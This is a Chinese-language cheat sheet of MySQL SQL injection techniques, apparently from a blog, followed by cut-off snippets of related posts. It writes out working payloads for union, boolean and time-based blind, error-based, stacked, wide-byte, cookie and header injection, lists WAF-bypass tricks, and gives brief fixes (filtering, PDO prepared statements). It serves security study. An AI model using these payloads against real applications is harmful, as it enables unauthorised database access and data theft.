沒有對使用者輸入資料的合法性沒有判斷。
id = 1 / id = 1』 /id = 1 and 1=1 /id = 1 and 1=2
mysql5.0後預設有information_schema資料庫,表schemata、tables、columns
database()、version()、user()函式
limit m,n m記錄開始的位置,n取的條數
mysql注釋符: # – /**/
內聯注釋 /!code/
?id=-1 /!union/ /!select/ 1,2,3
1.union 注入 union select
2.boolean注入
只有yes/no返回
1)採用length()函式判斷長度,列如;
id=1』 and length(database()) >= 1 --+
2)採用substr()函式擷取查詢值,列如: #substr(x,m,n) x擷取物件,m從1開始,n多少條
id=1』 and substr(database(),1,1) = 『t』 --+
3)採用ord(),在mysql中為ascii轉換函式,列如:
id=1』 and ord(substr(database(),1,1)) = 115 --+
3.報錯注入
有錯誤的回顯展示。
使用updatexml()、floor()、exp()將查詢的內容輸出,列如·;
id=1』 and updatexml(1,concat(0x7e,(select user()),0x7e),1)–+
4.時間盲注
利用回包的時間來判斷資料庫,與if結合,利用sleep()、benchmark()函式讓mysql的執行時間變長。
if(x,m,n) 如果x是true,返回m,否則返回n 列如:
id = 1』 and if(length(database())>1,sleep(5),1) #如果database()名大於1,休眠5s
5.堆疊注入
堆疊查詢可以執行多條語句,以分號隔開。列如:
id=1』 ; select if(substr(user(),1,1) = 『r』,sleep(3),1)#
6.二次注入
兩個資料報,第乙個的注入查詢結果作為第二個的引數
7.寬位元組注入
單引號被轉義為\『,導致id無法逃逸單引號,\ 的編碼是%5c,在gbk中,%df%5c是 繁體字,可以使單引號逃逸成功。有時候需要結合巢狀查詢。
首先資料庫的編碼為gbk,寬位元組的格式是位址後先加乙個%df,列如:
id = 1%df 』 and 1 = 1#
在php中,使用iconv()進行編碼轉換時,也可能存在寬位元組注入。
8.cookie注入
在資料報中,也有可能是cookie傳參,在cookie的地方進行注入
9.base64注入
id=1』 將注入測試語句進行base64加密,有時候需要兩次加密
10.xff注入
在資料報中,x-forwarded-fof 可能存在注入,列如:
x-forwarded-for:127.0.0.1』 and 1=1
sql注入繞過技術:
1.大小寫:and and and select select…
2.雙寫:aandnd oorrder oorr…
3.編碼:url編碼,有時候可以兩次編碼
4.內聯注釋:id =1 /!and/ 1=1
sql修復建議:
1.過濾危險字元 正規表示式
2.使用預編譯語句 pdo
SQL注入總結
在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...
sql注入總結
第一天 url 統一資源定位符 協議 主機號 目錄 注釋符 20 代表空格 order by 15 閉合條件為 猜測列數 union all select 1,2,3 猜測顯示位 select schema name from information schema.schemata 查庫名 sele...
sql注入總結
資料庫支援,並採用gbk格式進行編碼 在獲取url資料時,使用addslashes或是其他方式對單引號 進行了轉義,使其變成了 php的get post等方法預設都會進行此操作 上面的兩個條件缺一不可,gbk編碼不太好確定,但是第二個比較好確認,例如輸入的url為?id 1 返回了?id 1 當遇到...